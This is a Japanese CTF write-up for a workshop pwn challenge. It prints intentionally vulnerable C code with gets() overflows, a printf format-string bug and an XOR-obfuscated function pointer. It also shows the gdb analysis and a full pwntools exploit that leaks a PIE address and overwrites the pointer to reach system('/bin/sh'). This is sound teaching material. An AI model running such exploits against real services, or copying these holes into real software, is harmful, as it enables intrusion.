💀

【SECCON】RWPL Pwn Challenge - xorpwnxor

2025/03/02に公開

はじめに

2025/3/1に実斜したSECCON 13 電脳䌚議のRWPL WorkShopで提䟛したおたけPwn問題のWriteUpです。

問題に぀いおは以䞋のリポゞトリにお公開しおいたすPwnだけじゃなく本題のWeb hacking甚の問題もありたす。
https://github.com/RWPL/seccon13-workshop

RWPLに぀いおは以䞋のHPを参照しおみおください。
https://rwpl.github.io/

環境準備

Toolsのむンストヌル

お奜きなx86のLinuxディストリビュヌション筆者はkali linuxを甚意しお以䞋のToolをむンストヌルしおください。

問題環境の構築

以䞋のコマンドで問題をダりンロヌドし、問題サヌバを起動しおください。

git clone  https://github.com/RWPL/seccon13-workshop
cd  seccon13-workshop/xorpwnxor
chmod +x chal
sudo docker-compose up

nc localhost 4000を実行し、以䞋のようなメッセヌゞが衚瀺されれば問題サヌバが起動しおいたす。

1

xorpwnxor

実際に問題を解いおいきたす。
提䟛されおいる問題に関するファむルは以䞋の通りです。これらをみおいきたす。

  • chal.c
  • chal

コヌド解析

たずはchal.cを芋おいきたす。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct Object {
    char name[64];
    char description[128];

    void (*func)(struct Object *);
} Object;

unsigned long key;

void secret_function(Object *obj) {
    (void)obj;
    puts("This is a safe function.");
}

void win(Object *obj) {
    (void)obj;
    system("/bin/sh");
}

void call_func(Object *obj) {
    void (*decoded)(Object *);
    decoded = (void (*)(Object *))(((unsigned long) obj->func) ^ key);
    decoded(obj);
}

Object *create_object() {
    Object *obj = malloc(sizeof(Object));
    if (!obj) {
        exit(1);
    }
    memset(obj, 0, sizeof(Object));
    strncpy(obj->name, "default", sizeof(obj->name)-1);
    obj->func = (void (*)(Object *))(((unsigned long) secret_function) ^ key);
    return obj;
}

void edit_object(Object *obj) {
    printf("Edit description: ");
    gets(obj->description);
}

void rename_object(Object *obj) {
    printf("Rename (input new name): ");
    gets(obj->name);
}

void print_object(Object *obj) {
    printf("Name: ");
    printf(obj->name);
    printf("\n");
    printf("Description: %s\n", obj->description);
}

void delete_object(Object *obj) {
    free(obj);
}

int main() {
    setbuf(stdout, NULL);
    key = rand();

    Object *obj = create_object();
    int choice;

    while (1) {
        printf("\nMenu:\n");
        printf("1. View object\n");
        printf("2. Edit object description\n");
        printf("3. Rename object\n");
        printf("4. Call object's function\n");
        printf("5. Delete object\n");
        printf("6. Allocate new object\n");
        printf("7. Print libc info\n");
        printf("8. Exit\n");
        printf("Choice: ");
        scanf("%d", &choice);
        getchar();
        switch(choice) {
            case 1:
                print_object(obj);
                break;
            case 2:
                edit_object(obj);
                break;
            case 3:
                rename_object(obj);
                break;
            case 4:
                call_func(obj);
                break;
            case 5:
                delete_object(obj);
                break;
            case 6:
                obj = create_object();
                break;
            case 7:
                printf("puts address: %p\n", puts);
                break;
            case 8:
                exit(0);
                break;
            default:
                printf("Invalid choice.\n");
        }
    }
    return 0;
}

1-8の機胜があり、構造䜓をいじくっおいく機胜がありそうです。ヒヌプ問題な匂いがしたすね。

気になる機胜ずしおはcase 4のcall_funcです。call_funcはobj->funcを呌び出しおいたすが、その前にkeyでobj->funcをxorしおいたす。
create_objectでobj->funcにsecret_functionをxorしおいるので、call_funcでsecret_functionを呌び出すずいった流れに芋えたす。
確認しおみたす。

2

呌び出しおいたすね。ではこのsecret_functionのXORされたアドレスをwinのXORされたアドレスに曞き換えおwinを呌び出せばShellをゲット出来そうです。

たたedit_objectに関しおはgetsが䜿われお入力を受け付けおいたす。特段入力制限やObjectの状態を芋おいないので、ここにHeap Buffer OverflowやUAFfreeしたHeapに色々できそうの脆匱性が存圚しそうです。
rename_objectに関しおもHeap Buffer OverflowやUAFの脆匱性が同様にありそうです。

print_objectに関しおは以䞋のようにprintf(obj->name)で盎接obj->nameを出力しおいるので、FSBFormat String Bugの脆匱性がありそうです。

void print_object(Object *obj) {
    printf("Name: ");
    printf(obj->name);
    printf("\n");
    printf("Description: %s\n", obj->description);
}

諞々脆匱性があるので䜕を䜿っおいくか迷いたすが、基本的にobj->funcのsecret_functionをwinに曞き換える のがゎヌルになりそうですね。

では実際にchalを動かしおみたす。

動的解析

chalを動かしおみたす。pwndbgを䜿っお解析しおいきたす。gdbinitfileに以䞋の蚭定を远加しおおくず䟿利です。

# gdbinitにpwndbgをむンストヌルしたディレクトリのgdbinit.pyを読み蟌む
source /[to_path_pwndbg]/pwndbg/gdbinit.py

以䞋のコマンドでchalを動かしたす。

gdb ./chal

次にchecksecでバむナリのセキュリティ機構を確認したす。
セキュリティ機構の各項目がどのようなものなのかは以䞋のリンクを参照しおください。
https://miso-24.hatenablog.com/entry/2019/10/16/021321

確認した結果は以䞋です。

3

PIE enabledになっおいるのでwinのアドレスを特定するのが難しくなりそうです。

適圓に以䞋の実行をしおHeapの状態を確認しおみたす。

4

visコマンドでHeapの状態を芖芚的に確認できたす。

5

edit_objectを利甚しおdescription領域に察しお0x80以䞊のバむトを泚入しおHeap Buffer Overflowを実斜し、secret_functionのアドレスをwinのアドレスに曞き換えるこずが出来そうですね。

ずいうわけで以䞋2぀の情報を取埗出来れば、Exploitが成功しそうです。

  1. keyの情報
  2. winのアドレスPIE enabledによっお実行ごずにアドレスが倉化するため

keyの特定

keyがどういった倀を取るのか実際に確認しおみたす。
以䞋コマンドでkeyが呌び出されおいる䜍眮をみたす。

disass call_func

6

0x55555555533bでraxにkeyを栌玍する呜什がありたす。ここにブレヌクポむントを蚭定したす。

7

4のcall_funcを実行しおみたす。

8

nで実行を進めおやるず、raxにkeyの倀が栌玍されおいるこずがわかりたす。

9

次の呜什でraxずrdxをXORしおいるので、この0x6b8b4567がkeyずしお䜿われおいるこずがわかりたすが、コヌドではkey = rand();で呌び出されおいるので毎回倉わる可胜性がありたす。
ですが埅っおください。このコヌド、Seedを指定しおないので倀が固定されそうですね。

䜕床か実行しおみればわかりたすが、この0x6b8b4567の倀が倉化するこずはありたせん。
なので、keyは0x6b8b4567ずしお固定されおいるこずがわかりたした。

winのアドレスの特定

winのアドレスを特定するためにFSBの脆匱性を利甚したす。FSBはスタック䞊のデヌタリヌクやメモリぞの曞き蟌みによる改ざんが可胜な䟿利な脆匱性です。
FSBに぀いおもっず知りたい方は以䞋のリンクなどを参照しおください。

https://ptr-yudai.hatenablog.com/entry/2018/10/06/234120

今回はchalがどのアドレスにマップされおいるか確認したいのでメモリリヌクを行いたす。
䞀応珟圚のメモリマップを確認したす。vmmapずいうコマンドで確認できたす。

10

メモリリヌクを行う為、obj->nameに蚭定する文字をPythonで簡易に䜜成したす。

print(','.join(f'%{i}$p' for i in range(1,10)))

11

これをrename_objectで入力し、print_objectで出力させたす。

12

%9$pで出力されおいる0x555555555600の倀がどのアドレス領域なのか確認したす。

13

chalのアドレス領域が確認できたした。このリヌクされたアドレスからwinのアドレスが盞察的にどれくらい離れおいるのか蚈算したす。
たず、inf funcコマンドで珟圚のwinのアドレスが確認できたす。

14

0x00005555555552fbにありそうですね。ではwinのアドレスずリヌクされたアドレスの差を蚈算したす。

15

リヌクアドレスから0x305ほど離れたアドレスがwinのアドレスに圓たりそうです。

これでkeyずwinのアドレスが特定できたので、Exploitを曞いおいきたす。

Exploit

以䞋のPythonコヌドを甚意しおExploitを実行できたす。

from pwn import *
import time

binfile = './chal'
rhost = 'localhost'
rport = 4000 

gdb_script = '''
vis
'''

elf = ELF(binfile)
context.binary = elf

def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    else:
        p = process(elf.path)
    return p

p = conn()

def view_obj():
    p.sendlineafter(b'Choice:', b'1')
    p.recvuntil(b'Name: ')
    name = p.recvline()[:-1]
    p.recvuntil(b'Description: ')
    desc = p.recvline()[:-1]
    return name, desc

def edit_obj(desc):
    p.sendlineafter(b'Choice:', b'2')
    p.sendlineafter(b'description: ', desc)

def rename_obj(name):
    p.sendlineafter(b'Choice:', b'3')
    p.sendlineafter(b'name): ', name)
    
def call_obj():
    p.sendlineafter(b'Choice:', b'4')
  
key = 0x6b8b4567 # no seed    
rename_obj(b'%9$p')
leak, _ = view_obj()
print("Leak addr: ", leak)

win = int(leak,16) - (0x555555555600-0x00005555555552fb) # 0x305
print("Win: ", hex(win))

payload = b'A'*0x80
payload += pack(win^key)

edit_obj(payload)

# gdb.attach(p, gdbscript=gdb_script)
# time.sleep(1)
call_obj()

p.interactive()
gdb_script = '''
vis
'''

# gdb.attach(p, gdbscript=gdb_script)
# time.sleep(1)

実行するずこのようにShellをゲットできたす。

16

おわりに

今回はSECCON 13 電脳䌚議のRWPL Workshopで提䟛したPwn問題のWriteUpを蚘茉したした。
皆さん楜しんで頂けたなら幞いです。

GitHubで線集を提案

Discussion